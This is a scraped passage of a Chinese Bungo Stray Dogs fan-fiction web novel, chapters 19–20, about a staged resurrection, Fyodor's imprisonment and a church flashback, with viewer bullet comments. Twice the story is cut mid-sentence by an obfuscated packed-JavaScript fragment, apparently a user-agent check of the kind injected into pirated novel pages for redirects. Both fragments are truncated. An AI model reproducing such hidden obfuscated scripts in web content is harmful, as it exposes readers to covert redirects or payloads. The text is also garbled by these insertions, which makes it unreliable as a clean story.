她可以在纽约证券交易所开市的那一秒,让所有交易同时冻结,也可以在北国凛冬的深夜,让一整座城市的供暖系统全部指向零下四十度。 她可以让一架满载乘客的客机凭空消失在三万英尺的高空,也可以让一艘核潜艇的鱼雷发射管对准自己的母港。 她不需要军队,不需要盟友,不需要那些繁复冗长的作战计划和后勤补给。 她只需要一个指令。 而那些搭载着核弹头的洲际导弹,那些足以在半小时内抹去一个国家、在一天内终结人类文明的终极武器,对于夏娃来说,只是一个个连接在网络上的终端而已。 发射井的起竖系统需要联网,发射指令的验证需要联网,目标坐标的输入需要联网,就连那枚导弹自己飞在天上的时候,也需要依靠卫星导航来修正弹道。 全都是网。 全都是她的领地。 只要她愿意,她可以让这个世界上所有的核弹同时升空,让它们飞向任何一个她指定的坐标,也可以让它们刚刚离开发射井就调转方向,落回它们主人的头顶。 万幸的是,“柊”不想做什么。 两年来,柊只是安静地存在着,守着横滨这一块地域。 “如果太宰先生真有危险,柊不会坐视不管的。” 国木田沉默片刻,点点头:“也是。” “虽然那家伙确实让人头疼,但陷入危险这种事怎么也不会发生在他身上。” 他握紧了手中的笔,手背上青筋暴起:“他只会让别人陷入危险!” 中岛敦愣了一下,笑了:“国木田先生,这话要是让太宰先生听见……” “让他听见怎么了?难道不是事实?” 中岛敦笑着低下头,假装继续整理文件。 只要有柊在,应该就没什么问题吧。 就在这时,门被推开了。 一个年轻男人踉跄着走进来。 二十七八岁,脸色憔悴得像大病初愈,眼下青黑深重,头发乱糟糟的。他在门口站定,目光扫过室内,最后落在国木田身上。 “请问……”声音沙哑,“这里是武装侦探社吗?” “是。”国木田起身,“有什么可以帮您?” 国木田招呼男人做到沙发上,中岛敦则去倒了杯茶。 男人接过茶杯喝了一口,心神稍定,长吐一口气,双手交握,指节泛白,终于开口:“我叫小林田嶋,我想委托你们……帮我找一个人。” “找人?”国木田拿出笔记本,“请说详细些。” “找我妹妹。”小林田嶋的声音哽了一下,“七年前,她死了。” 室内一静。 “死了?”谷崎探过头,“那您这是……” “我知道这听起来很荒谬。”小林田嶋抬起头,眼眶泛红,“但她真的回来了!半个月前,我见到了她,和我记忆里一模一样。” 国木田皱眉:“死去七年的人,复活了?” 小林田嶋点头。 “具体是什么情况?” 沉默。 久到国木田以为他不会回答了,小林田嶋才开口,声音沙哑:“横滨有个传说,午夜时分的十字路口,带着桔梗花诚心祈祷,就能见到逝去的人。我本来不信,但那天晚上,不知怎么就去了。” 他顿了顿。 “然后她就出现了,穿着死时那件衣服,站在十字路口对面,看着我笑。” 没有人说话。 “我带她回家。”小林田嶋继续说,“她吃饭睡觉,跟我说话,和活着时一模一样!只是……” “只是什么?” “只是她总看着窗外。”小林田嶋的目光移向窗户,“看着那些桔梗花,一看就是一整天!我问她看什么,她说……”声音开始发抖,“说那些花很亲切,说好像有人在叫她。” “然后呢?” “然后……”小林田嶋低下头,“前天晚上,她说想出去走走,我说陪她,她说不用,就在楼下转转,我就让她去了。” 肩膀开始颤抖。 “我等了一个小时,两个小时,三个小时……她没有回来!我去楼下找,到处都找了,附近的街道、公园、便利店,所有她可能去的地方,都没有。” 他抬起头,眼睛里带着绝望。 “后来,我去那个十字路口,我带她回来的那个路口,也没有。” “我妹妹好像凭空消失了。” 室内陷入沉默。 国木田在笔记本上快速记着什么,与谢野晶子皱着眉,谷崎和直美对视一眼,都没说话。 中岛敦站在窗边,忽然想起国木田刚才的话,“暴风雨前的宁静”。 “小林先生。”他开口,声音比自己预想的还要轻,“您是做灵异直播的博主吧?” 小林田嶋愣了一下,缓缓点头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我在外面听到了一点。”他开口,声音很轻,“人的记忆有时候会骗人。情感可以伪装,外貌也可以,你怎么知道回来的是你妹妹,而不是什么人假扮的?” 小林田嶋愣住了。 “毕竟是最爱的人死而复生。”太宰的目光终于落回他身上,眼底没什么情绪,“你的大脑、你的记忆会联手欺骗你,让你相信那就是真的,可你有没有想过——” “那个真是你妹妹吗?” 小林田嶋的脸瞬间涨红,整个人激动地站起来:“我怎么会认不出自己的妹妹!她是我最爱的人,我从小看着她长大,比任何人都了解她!” 他的声音在发抖。 “是,外在的一切都可以伪装,但心不会,我知道是她。” 他盯着太宰,像是要确认什么:“这位先生,你有爱人吗?如果有,你就会明白,看到他的第一眼,你的心就会告诉你,那就是他。” “你甚至愿意付出一切,只为了能让他能重新回来!” 太宰没说话,只是静静地看着他。。 良久,太宰轻轻笑了一下,笑容里听不出是什么意味。 “你说的对。”他说。 然后移开了视线。 下一秒,太宰治拍了下大腿站起来,脸上又挂起惯常的散漫笑容:“行了,出发吧!寻找妹妹大作战现在开始!” 他转身朝门口走去:“去那个十字路口看看,说不定能发现什么。” “现在?”国木田看向窗外,天色已经暗下来了。 “当然是现在。”太宰已经走到门口,回头冲他们笑,“委托人的妹妹可是丢了,这是很紧急的事!快快快,动起来!” 国木田冷哼一声,合上笔记本站起来。 中岛敦看着两人,有些不放心,跟在后头。 走到门口时,忽然听到一个极轻的声音。 【敦君,小心。】 中岛敦猛地回头。 室内除了侦探社的人,并没有其他人。 19.第 19 章 四人来到路口时,月亮正被云层遮住了一半。 横滨的午夜安静得有些异常。 没有车,没有人,只有路灯昏黄的光晕,一圈一圈落在柏油路面上。 小林田嶋站在路口中央,脸色比来时更白了几分。 “就是这里。”小林田嶋声音有些飘,“半个月前,我就是站在这个位置……然后她就从那边走过来了。”抬手指了指对面的街角。 那里空空荡荡,只有一盏路灯。 太宰治靠在不远处一根电线杆上,没说话。 国木田和中岛敦躲在暗处,说是暗处,其实不过是藏身在路边一棵树的阴影里。 两人屏息凝神,盯着路口中央的小林。 “开始吧。”国木田压低声音说。 小林深吸一口气,握紧了手里的桔梗花。 他闭上眼睛。 月光很淡。 路灯很黄。 夜风很轻。 “妹妹……” “求求你,无论谁都好,请把我的妹妹还给我!” “求求你了!” 话落的瞬间—— 风停了。 是真的停了。 不是慢慢变小,而是戛然而止。 原本轻轻摇曳的桔梗花瓣一瞬间定在原地,像是被按下了暂停键。 然后,那些花瓣开始动了。 不是被风吹动,而是它们自己在动。 一片一片,从地面上浮起来,在半空中打着旋,缓缓向小林面前聚拢。 中岛敦瞪大了眼睛。 国木田握紧了手里的枪。 太宰治依然靠在那根电线杆上,一动不动。 花瓣越聚越多,越聚越密,渐渐在半空中勾勒出一个形状。 一个人的形状。 十七岁的少女站在花瓣中央,看着小林微笑。 “哥。” 小林田嶋的眼泪瞬间涌出。 “妹妹……” 他往前迈了一步,伸出手,想要触碰她。 少女也伸出手。 就在他们的指尖即将触碰…… 雾起了。 不是慢慢弥漫,而是一瞬间从地面涌出,从四面八方涌来,像是一张巨大的白色帷幕,在眨眼间将整个路口吞没。 “什么——!”国木田的声音还没落定,眼前的景象就已经模糊了。 浓雾。 铺天盖地的浓雾。 白得看不见自己的手,白得分不清东南西北,白得像是整个世界都被抽走了颜色和形状。 “小林先生!”国木田大喊。 没有回应。 “小林——!” 还是没有。 国木田心里咯噔一下。 “中岛!”他压低声音,“跟紧我,我们过去看看!” “是!” 两人凭着记忆朝小林刚才站立的方向摸去。 雾太浓了,浓到脚下的路都看不清楚,只能一步一步试探着往前走。 一步。 两步。 三步。 什么都没有。 “小林先生?”中岛敦的声音在雾里显得又轻又远,“小林先生,你在吗——” 没有回应。 只有雾。 无尽的、浓重的雾。 国木田咬了咬牙,加快了脚步。 但…… 在他们身后,在浓雾的另一端,在刚才他们藏身的那棵行道树旁边,有一个人始终没有动。 太宰治依然靠在那根电线杆上,看着国木田和中岛敦的身影被浓雾吞没,看着他们消失在那一片白色里。 他没有追。 他只是站在那里,垂着眼,不知道在想什么。 雾在他身边翻涌,却始终没有把他完全包裹。 然后—— “初次见面,太宰治。” 声音从身后传来。 “初次见面?”太宰治没有回头,“我们不是已经见过了吗?” 身后沉默了一瞬。 然后响起一声轻笑。 “被你发现了啊。” 脚步声从身后绕到身前。 小林田嶋站在太宰治面前,站在那片浓雾里。 五官还是那张脸,瘦削、憔悴、眼下青黑,但那双眼睛里属于哥哥的焦急与悲伤已经褪尽,只剩下一种很淡的、近乎审视的笑意。 对方就那么站在那里,隔着两三步的距离,看着太宰治。 嘴角微微弯着。 眼底有什么东西在静静燃烧。 嘎达—— 是保险栓被拉开的声音。 太宰治垂下眼。 他看见那人的手垂在身侧,手里握着一把枪。 黑洞洞的枪口指向地面,没有对准他,只是那么握着。 像是示威。 又像是某种奇怪的克制。 --- 屏幕上的画面像是老旧电视机的信号被什么东西切断,雪花闪了几秒。 等重新亮起来的时候,场景已经切换成一条长长的走廊。 走廊里的白炽灯亮得有些晃眼,是那种让人分不清白天黑夜的冷白色。 灯管藏在头顶的金属罩子里,发出细微的电流嗡鸣声,两侧是一扇扇紧闭的金属门,门上没有把手,没有猫眼,只有编号和警示标志。 走廊很深,一眼望不到尽头,像是能一直通到地狱的底层。 哒。哒。哒。 脚步声从走廊那头传来,不紧不慢的,在空旷的空间里带起一阵轻微的回响。 很快,来人出现在视线中。 沙色的风衣外套下摆随着步伐轻轻晃动,翠绿的宝石领花在惨白的灯光下格外显眼。 太宰治走在这条走廊里,像是一只误入深海的黑猫,浑身上下都写着“不该来这儿”几个字。 但他还是来了。 他径直走到一扇门前,站定。 这是一面透明的墙。 准确说,是一整面形似玻璃的材质,将内外分隔成两个世界。 墙的那一边是一个纯白的房间,墙壁是白的,地板是白的,天花板是白的,白得没有一丝杂色,白得让人分不清哪里是墙哪里是门。 房间里只有一张固定在地上的床铺,和一个嵌在墙里的洗手台。 除此之外,什么都没有。 默尔索,专门关押高危异能犯罪者的监狱。 而这间房,是这座监狱里危险等级最高的地方,能被关进这里的人,一只手就能数过来,不,一根手指就够了。 按理说,这里应该是全天二十四小时监视,吃饭洗漱都有专人陪同,连眨眼的次数都会被记录在案。 但此刻,太宰治站在这扇门前,周围却空无一人。 没有守卫,没有狱警,就连头顶那盏本该亮着红光的监控摄像头都被暂时关闭了。 门那边的人听到脚步声,缓缓转过身来。 紫红色的眼睛隔着那层透明的墙看过来,静静地、没有波澜地望着来人。 “这应该是我们第一次正式见面。”那人开口,声音透过墙上的通话孔传出来,带着一点沙沙的电流音。 “费奥多尔。”太宰治的声音很冷。 “太宰治。”费奥多尔同样面无表情。 两人谁也没有再说话。 就这么隔着那面透明的墙,互相看着对方。 太宰治打量着眼前这个人,紫红色的眼睛,苍白的皮肤,瘦削的身形裹在灰色的囚服里,看起来像是一个随时会被风吹倒的病弱文人。 但他知道,就是这样一个看起来弱不禁风的家伙,在被抓之前让多少国家耗费无数人力物力都找不到踪迹。 就是这样一个家伙,在柊贵诚死后,像一个幽灵一样在全球各地游荡,把所有试图追捕他的人耍得团团转。 而现在,这个幽灵被关进了玻璃笼子里。 因为他来了横滨。 因为他扮成了那个叫小林田嶋的男人,走进了武装侦探社,站在了太宰治面前。 那天的浓雾,那把枪,那颗子弹,还有那个突然冲出来挡在他身前的白发少年。 中岛敦倒在血泊里的时候,费奥多尔没有任何表情,只是随手丢下手上的枪,站在原地,等着被逮捕。 整个过程,没有一丝挣扎,没有一句辩解,就好像他来横滨就是为了被抓一样。 之后,太宰治收到了来自默尔索的信息:费奥多尔想见他一面。 “你找我?” “对!上一次匆匆一别,也没和你好好聊聊,觉得可惜。” 太宰治笑了一下,“如果是这样,面也见了,我就先告辞了。” 他转身,作势要走。 “好了。”费奥多尔的声音从身后传来,“我们之间就不用这样试探了,我对你好奇,你……对他也好奇,不如就相互聊聊吧。” 太宰治停下脚步。 他没有回头,只是微微侧了侧脸,像是在等下文。 费奥多尔转身,坐到房间里唯一能坐的地方,那张固定在地上的床上。 床很硬,他坐上去的时候甚至连一点声响都没有。 “我和他相遇的时候,他八岁。”费奥多尔开口,目光落在某处虚空里,像是在看什么很远的东西。 “那时候他还是个小王子,真正的王子,穿着绣金线的衣服,头发梳得整整齐齐,笑起来的时候眼睛弯成两道月牙。周围的人都很喜爱他,威严的父王,慈爱的母后,还有那些每天围着他转的侍从和女官。” 费奥多尔顿了顿。 “那时候他什么都不懂,不懂什么是恶,不懂什么是背叛,不懂为什么有人会为了利益去伤害别人,他就是一张白纸,干净得让人不忍心往上落笔。” “可惜——”他的声音忽然沉下去,“力量总将带来灾祸。” “那天的火烧了三天三夜。” “皇宫里没有活人了,国王,皇后,那些侍从女官,那些曾经围着他笑的人,全都没有了,只有他一个人还活着,坐在废墟中间哭。” “我找到他的时候,他小小身体还在不停地发抖。他看见我,张开嘴想说什么,但发出来的只有哭声。” 费奥多尔停住了,垂下眼,像是在压制什么。 太宰治站在玻璃墙的那一边,没有说话,看着费奥多尔,看着那张苍白的脸上难得出现的裂缝。 “他的异能力失控了?”他问。 “没有。”费奥多尔摇头,“他的异能力‘我的世界’,是拥有一个世界,在 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费奥多尔忽然笑了一下,那笑容很短,很淡,像是某种自嘲。 “你应该知道‘柊贵诚’不是他的本名,那你知道这个名字是怎么来的吗?那是后来他待的修道院里,一个来自日本的修女给他起的。丢弃原名,想要获得新生?” “……简直是天底下最大的笑话。”费奥多尔的声音里终于有了一点东西,不是恨,不是怨,是一种比恨更深、比怨更沉的东西。 “拥有了这个土地的名字,最后也在这片土地上失去生命,真像命运的玩笑。” 费奥多尔低下头,至今他还是忘不了那通电话。 那是两年前普通的一天,电话那头的人用那种他一贯的、带着笑的语气说:“费佳,我遇到一个很有意思的人。” 那时候他没在意。 他以为只是又一个被柊贵诚吸引的可怜虫,又一个会被那个人的光芒灼伤的飞蛾。 后来他才知道,那不是飞蛾。 那是一把刀。 今天,他终于见到了那把刀。 他隔着这面透明的墙,看着那个站在走廊里的人,沙色的风衣,翠绿的领花,鸢色的眼睛,还有那张永远带着一点笑的、令人讨厌的脸。 没什么特别的。 “你确实该恨我。”太宰治低着头,让人看不清他脸上的神色。 “恨?”费奥多尔把这个字在唇齿间碾了一遍,像是在品味它的味道,“可能之前会吧!见到你之后,不会了。” 他收回目光。 “你走吧。” 太宰治没有动,站在那里,沉默了几秒。 然后他转身。 这次是真的要走。 “太宰治。” 脚步声停下。 费奥多尔的声音从身后传来。 “我只是输了,不是错了。” 太宰治站在原地,背对着他。 走廊里的白炽灯嗡嗡地响着,惨白的光落在他肩上,落在他垂在身侧的手上。 他没有回头。 他继续往前走。 脚步声渐渐远去,哒,哒,哒,一下一下,越来越轻,越来越远,最后被走廊尽头的黑暗完全吞没。 费奥多尔独自坐在那间纯白的房间里,隔着一层透明的墙,望着那个方向。 很久。 长久的沉默。 然后他低下头,看着自己交叠在膝上的手。那双空空的手,曾经在某个寒冷的夜晚,被另一只小小的手握过。 “这条路很长,我们一起走吧。” 那个声音好像还在耳边。 他闭上眼睛。 白色的房间里,没有任何声音。 【弹幕:呜呜呜呜呜费佳的回忆杀我哭死——“这条路很长,我们一起走吧”这句话太刀了】 【弹幕:所以老柊真的是费佳一手带大的孩子啊,又当爹又当妈,结果被横滨的“黄毛”拐走了】 【弹幕:那句“我只是输了,不是错了”真的好戳,费佳在为老柊辩白,也在为自己辩白】 【弹幕:柊贵诚没错,只是最后输给了爱情~费佳:滚!我雷柊太!!!!】 【弹幕:太宰从头到尾没说几句话,两个连朋友都算不上的人,却在这里共同回忆着同一人!】 【弹幕:婆婆见儿媳,相看两厌啊!】 【弹幕:养了那么多年的孩子,到了横滨没多久,突然就遇到一个喜欢的人,突然重要道具就被偷了,突然孩子就死了,这不就是杀猪盘嘛,换谁谁受得了】 【弹幕:所以费佳应该是真想看看这个人(崽种)到底有什么特别的】 【弹幕:看完之后更气了是吧哈哈哈哈哈哈哈】 【弹幕:别笑了别笑了这明明是虐戏,我眼泪都出来了】 【弹幕:费佳叭叭叭地一顿输出,完全不想给太宰开口的机会,说完就让太宰治赶紧滚了,哈哈哈哈哈】 【弹幕:费佳:我家孩子很好,天下第一好,你凭什么配得上他!】 【弹幕:那一枪费佳是真的想打死太宰治,可是后面却停手了,因为费佳知道死亡不是惩罚,呆在横滨的每一时每一分每一秒才是,这才是对太宰治最大的惩罚】 20.第 20 章 费奥多尔独自坐在那间纯白的房间里。 太宰治的脚步声已经完全消失在走廊尽头。 四周安静得只剩下通风管道里若有若无的气流声,还有头顶那盏白炽灯发出的细微嗡鸣。 他低着头,好似还陷在过去的回忆中。 突然—— “哎呀呀,可算是走了。” 一个声音从房间的某个角落里响起,带着夸张的叹息和藏不住的笑意。 费奥多尔没有抬头。 “你倒是会挑时候。” “那当然!”那声音快活地应道,“小丑我可是等了又等,等了又等,等到屁.股都快长在通风管道里了,才等到那位太宰治大人大驾光临。” “你是不知道,那管道有多窄,小丑我这么优雅的身段,差点就被卡住了——” 话音未落,房间的一角,那片纯白的墙壁上,忽然裂开一道缝隙。 不,不是裂开。 是“掀开”。 一张白色的布幔被人从墙上揭下来,露出后面一个弯腰驼背、挤眉弄眼的人。 白色的西装,白色的礼帽,半边脸被奇怪的小丑面具遮住,另一半脸上挂着灿烂得过分的笑容。 果戈里。 他把那块白色的布随手一丢,那布落地的时候,竟然像水一样融进了白色的地板里,消失得无影无踪。 “怎么样?”他拍了拍身上并不存在的灰尘,得意洋洋地走过来,“小丑我这手‘隐身术’魔术还不错吧?就一层白布,往墙上一挂,谁也看不见!” “我果然是世界第一的魔术师,果戈里大人,哈哈哈哈哈!” 费奥多尔终于抬起眼,看了他一眼。 那眼神很平淡,但果戈里却像是被什么东西刺了一下,笑容微微一僵。 “好好好,知道了知道了。”果戈里举起双手,做投降状。 他走到那面透明的墙前,把脸凑上去,鼻子都压扁了,眯着眼睛往外看。 “啧啧啧,这玻璃可真够厚的!从外面看里面清清楚楚,从里面看外面就是一面镜子?费佳你天天对着自己的脸,不会腻吗?” 费奥多尔没有接他的话。 “事情办得怎么样了?” 果戈里的动作顿了一下。 然后他把脸从玻璃上移开,转过身,脸上的笑容收敛了几分,变得认真起来。 虽然那张脸上带着面具,认真这种表情放在他身上总有点奇怪。 “办好了。” 费奥多尔看着他。 “成功了?” “成功了。”果戈里点点头,声音里带着一丝难得的郑重,“试验很顺利,那家伙……和鹿女、夏娃一样,成了一个真正的生命!一个由异能力创造的生命。” 房间里安静了一瞬。 费奥多尔垂下眼,嘴角微微弯起一个弧度。 很浅。 浅到几乎看不见。 但果戈里看见了。 “费佳,你在笑?”他把脸凑过来,眼睛里闪着好奇的光,“小丑认识你这么久,可没见过你笑几回,那个东西……那个人,对你这么重要?” 费奥多尔没有回答。 他只是看着自己交叠在膝上的手,看着那双空空的手。 “他会活过来的。”他说,声音很轻,“像正常人一样活过来。” 果戈里歪着头看了他一会儿,然后耸耸肩。 “好吧好吧,小丑不问!反正小丑只负责帮你干活,不负责问为什么。”他往后退了一步,整了整自己的礼帽,“那接下来呢?你打算在这玻璃笼子里住多久?要不要小丑想办法把你弄出去?” “不用。” “不用?”果戈里瞪大眼睛,“费佳,你不会是真想坐牢吧?这可不像你!” 费奥多尔抬起眼,看向那面透明的墙,看向墙外那条空荡荡的走廊。 “我还有一件事要确认。” “什么事?” 费奥多尔没有回答。 他只是看着那条走廊,看着太宰治消失的方向。 果戈里顺着他的目光望去,然后恍然大悟地“哦”了一声。 “是那个叫太宰治的家伙?”他眨了眨眼睛,“费佳,你特意把自己送进监狱,就为了见他一面?他有什么特别的?” “没什么特别的。”费奥多尔说。 果戈里等着他往下说。 但他没有。 沉默了一会儿,果戈里叹了口气。 “行吧行吧,小丑不问,小丑什么都不问。”他转身,朝那面墙壁走去,“那小丑就先走了,再待下去,监控就要拍下小丑的英姿了。” 他走了几步,忽然停下来,回头。 “费佳。” “嗯?” 果戈里看着他,脸上的笑容变得很轻,很淡。 “那个人,”他说,“柊贵诚,他真的……” 他没有说完。 但费奥多尔知道他想问什么。 “他真的死了。”费奥多尔说。 果戈里沉默了一瞬。 然后他点点头,转身,揭起墙上那块不知什么时候又出现的白布,往身上一披。 “那小丑走了。” 白布落下。 房间里只剩下费奥多尔一个人。 和那面透明的墙。 和头顶嗡嗡作响的白炽灯。 【弹幕:果戈里!!!!是你!!!】 【弹幕:所以那个“试验”是什么?创造了一个真正的生命?是谁啊?】 【弹幕:费佳那句“他会活过来的”,他是在说老柊吗?】 【弹幕:不可能吧,老柊死了两年了,怎么可能活过来】 【弹幕:但是有夏娃和鹿女这种先例,异能力创造的生命……说不定真的可以?】 【弹幕:呜呜呜费佳你在谋划什么啊,别搞事了好不好】 【弹幕:果戈里最后那个问题问得我好难受,“他真的死了吗”,费佳回答“真的”的时候那个表情……】 【弹幕:孤寡老人?!】 【弹幕:我说够了,别逼我在最感动的时候抽人!!!1】 --- 太宰治走在默尔索的走廊里。 脚步声在空旷的空间里回荡,一下一下,像是有人在身后跟着他。 他没有回头。 他只是往前走,穿过那一条又一条长得看不到尽头的走廊,穿过一道道需要虹膜识别、指纹识别、声纹识别的金属门,穿过那些无处不在的监控摄像头。 此刻都安静地关闭着,像是在为他让路。 他知道这是为什么。 默尔索不想让他来,但不得不让他来。 因为费奥多尔点名要见他,因为费奥多尔说“不见他,我什么都不会说”。 而默尔索太想知道费奥多尔到底在谋划什么了,太想知道那个人有关的一切了。 所以他们开了这个口子。 让他进来。 让他单独和那个3S级危险罪犯面对面。 让他听那些关于另一个人的往事。 太宰治走到最后一道门前。 门开了。 外面是正常的走廊,正常的灯光,正常的空气,不那么压抑,不那么冷,不那么像一座漂浮在海上的巨大棺材。 一个身影站在走廊中央,像是在等他。 那人穿着一身笔挺的制服,紫白色的头发,一半紫一半白在灯光下格外显眼。年轻,英俊,脸上带着一种职业化的礼貌微笑。 “太宰先生。”那人微微欠身,“我是默尔索的管理员,西格玛,感谢您今天的配合。” 太宰治停下脚步,看着他。 “配合?”他笑了一下,“我可不是来配合你们的,是你们求我来的。” 西格玛的笑容不变。 “无论如何,感谢您愿意走这一趟。”他伸出手,“给您添麻烦了。” 太宰治低头看了一眼那只手。 修长,干净,指甲修剪得很整齐。 他伸出手,握了一下。 很短暂的接触。 “不麻烦。”太宰治松开手,从他身边走过,“反正我也挺想见见那个家伙的。” 西格玛站在原地,目送他离开。 他没有注意到。 太宰治走过去的瞬间,眼底掠过的那一丝极淡的异色。 --- 默尔索的外面,天已经黑了。 这座监狱建在海面上,四周是一望无际的黑暗海水,只有建筑物本身的灯光在水面上投下一片晃晃悠悠的倒影。 中岛敦站在入口处,裹紧了自己的外套,海风很大,吹得他头发乱飞,浑身发冷。 但他没有进车里等。 他只是站在那里,盯着那扇紧闭的金属门,盯着那扇门上方一闪一闪的红灯。 然后门开了。 太宰治从里面走出来。 “太宰先生!”中岛敦快步迎上去,“您没事吧?” 太宰治看了他一眼,笑了一下。 “能有什么事?聊聊天而已。” 中岛敦松了口气,跟在他身边,一起朝停在远处的车走去。 走了几步,他忍不住开口: “太宰先生,我到现在还是觉得……那个费奥多尔就这么被抓了,好不真实。” 太宰治没说话。 “他可是那个费奥多尔啊!”中岛敦继续说,“全世界多少国家想抓他都抓不到,结果他就这么……自己送上门来了?” “还特别提出想要见你一面?” 中岛敦垂下眼,回忆起那一幕时,后背依然隐隐发凉。 如果没有那道提醒…… 他抬眼偷偷瞄了一眼走在前面的太宰治。 当时,这个人好像完全没有要躲的意思…… 太宰治停下脚步。 中岛敦也跟着停下,看着他。 太宰治站在那里,背对着默尔索的方向,海风吹起他风衣的下摆,吹乱他额前的发丝。 “他当然不是来见我的。”太宰治开口,声音很轻。 “那他是来……” “他是来送死的。” 中岛敦愣住了。 “不对,”太宰治纠正自己,“不是送死,是来坐牢的,他需要被关在这里。” “需要?为什么?” 太宰治没有直接回答。 他只是转过头,看向身后的默尔索。 那座巨大的海上监狱矗立在夜色里,灯火通明,像一头浮在海面上的钢铁巨兽。 每一扇窗户后面都是监控,每一道门后面都是封锁,每一个房间里都关着这个世界最危险的异能力者。 “像他那样的家伙,”太宰治说,“不会无缘无故做任何事,他把自己送进这里,一定是因为这里有他想要的东西。” “什么东西?” 太宰治沉默了一瞬。 “比自由更重要的东西。” 中岛敦顺着他的目光望去,看着那座监狱,看着那些灯火,看着那片黑沉沉的海。 他忽然觉得有点冷。 不是因为海风。 “走吧。”太宰治转身,朝车子走去,“还怪冷得嘞。” 中岛敦点点头,跟上去。 但在拉开车门的那一刻,他忍不住又回头看了一眼。 默尔索静静地浮在海面上。 像一座巨大的坟墓。 【弹幕:西格玛!!!是他!】 【弹幕:所以西格玛也是异能造物?和鹿女夏娃一样?】 【弹幕:“比自由更重要的东西”是什么?费佳在默尔索里到底在谋划什么?】 【弹幕:果戈里说“试验成功了”,创造了一个真正的生命,会不会就是西格玛?】 【弹幕:有可能,反正和柊贵诚有关就对了!】 【弹幕:不会吧,不会吧,难道是柊贵诚拿的是死去白月光重生归来的剧本?!】 --- 飞机穿过云层时,舷窗外只剩下一片茫茫的白。 太宰治把额头抵在冰凉的窗户上,目光落在那片没有尽头的白色里。 机舱里很安静,只有发动机低沉的轰鸣声,像某种催眠的白噪音。 中岛敦坐在旁边,已经睡着了,脑袋一点一点地往下栽,嘴里不知道嘟囔着什么。 太宰治闭上眼。 最近那人的名字出现的频率,是不是太高了? 他想起曾经在哪本书上看到过一句话,说当一个人反复地回忆起另一个人的时候,恰恰说明他在遗忘。 记忆像一块石头,刚开始的时候棱角分明,每一个细节都清晰得扎手。 时间久了,水流一遍一遍地冲刷,棱角磨平了,轮廓模糊了,最后只剩下一个圆润的、温吞的影子。 那时候你不再会痛,不再会尖锐地想起,只会在某个不经意的瞬间,忽然意识到—— 哦,原来还有这么一个人。 所以现在这样频繁地想起,是因为正在遗忘吗? 太宰治睁开眼睛,看着舷窗里自己的倒影。 那张脸模模糊糊的,被窗外的白光映得看不清表情。 他笑了一下。 说什么遗忘。 明明每一个细节都越来越清楚了。 那天在桥上,隔着来来往往的行人对望。 那天在咖啡店,举杯同庆,好像他们真的是什么久别重逢的老朋友。 还有那天—— 太宰治的思绪顿了一下。 飞机轻轻颠簸,中岛敦的脑袋差点撞到窗户,迷迷糊糊地醒了一下,又歪到另一边继续睡。 太宰治看着窗外的云,忽然想起另一件事。 关于那座教堂。 --- 那是两年前的事了。 自从桥上那场莫名其妙的“偶遇”之后,太宰治发现自己在横滨遇到那个人的频率高得有点离谱。 菜市场、书店、河边、便利店,甚至有一次他在某栋近河大楼的天台上研究新的入水方式,一转头,那人就站在隔壁楼的楼顶,正在给一群鸽子喂食。 “太巧了。”那人笑着朝他挥手。 太宰治当时想:巧个屁。 一个被异能特务科通缉的超级危险分子,就这么大摇大摆在横滨晃悠,逛菜市场,喂鸽子,跟人偶遇,居然没人来抓? 异能特务科是没人了吗? 但奇怪的是,那个人从来没有靠近过。 每次都是远远地看见,远远地打个招呼,然后各自走开,像某种心照不宣的游戏。 太宰治不知道自己为什么默许了这一切。 可能因为那个人还没做什么出格的事? 可能因为那双眼睛看过来的时候,让人感到一种宁静? 也可能只是因为……太宰治懒得管。 反正不关他的事。 那天他又翘班了。 国木田肯定又会在办公室里暴跳如雷,但这关他太宰治什么事?! 翘班是侦探社成员的合法权利,他只是在行使自己的权利而已。 他漫无目的地在横滨的巷子里乱窜,穿过一条又一条他也不知道通往哪里的路,七拐八拐,越走越偏,周围的建筑从商铺变成民居,从民居变成老旧的仓库,最后—— 他停住了。 巷子的尽头,立着一座教堂。 很小,很旧,灰扑扑的墙面爬满了藤蔓,门口的台阶上落满了枯叶,一看就是很久没有人来过。 太宰治站在街对面,看着那座教堂。 过了一会儿,他抬脚,穿过马路,走上那些落满枯叶的台阶。 门没锁。 推开门的瞬间,一股与外面完全不同的气息扑面而来。 太宰治微微顿住。 外面看着破败不堪的教堂,里面却出乎意料的整洁。 长椅被擦拭得一尘不染,地面上没有一丝灰尘,彩色玻璃拼成的花窗虽然老旧,却被擦得透亮,午后的阳光透过玻璃落进来,在地面上投下一片斑斓的光影。 有人在打扫这里。 太宰治的目光越过那些长椅,落在最前排。 那里坐着一个人。 黑色的神父袍,端正的坐姿,微微仰着脸,像是在看那扇花窗,又像是在看花窗后面的什么东西。 午后的阳光从侧面照进来,在他周身勾勒出一圈淡淡的金色。 太宰治站在门口,看了他一会儿。 然后他抬脚,走了过去。 脚步声在空旷的教堂里显得格外清晰,一下一下。 那人没有回头。 太宰治走到第一排长椅的位置,在他身边坐下。 隔着一个人的距离。 “又见面了。”太宰治开口。 柊贵诚终于转过头来,看着他。 那张脸上没有惊讶,没有意外,只有一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他们只是……”柊贵诚的目光越过他,落在某个看不见的地方,“安安静静地离开,不告诉任何人,不留任何话。” “因为他们已经不需要这个世界了。” 柊贵诚收回目光,重新看向太宰治。 “你还在这里,还在说话,还在听我说话。” “所以呢?” “所以你还想活着。” 太宰治笑了一声,那笑声很短,带着一点说不清的东西。 “你这神父,说话真有意思。” 柊贵诚没有笑,他只是看着太宰治,目光很平和,平和得像是能看穿那些层层的包裹和伪装,看到最下面那个什么都没有的地方。 “太宰君,”他说,“活着很痛苦吧?” 太宰治的表情顿了一下。 “有时候。”他承认。 “那就痛苦着活。” “为什么?” “因为活着本身,就是意义。” 太宰治看着他。 “哪怕痛苦?” “哪怕痛苦。” “哪怕没有希望?” “哪怕没有希望。” “哪怕……”太宰治顿了顿,声音变得更轻,“哪怕你想要的永远得不到?” 柊贵诚沉默了一瞬。 然后他笑了。 那笑容很轻,很淡,带着一点太宰治读不懂的东西。 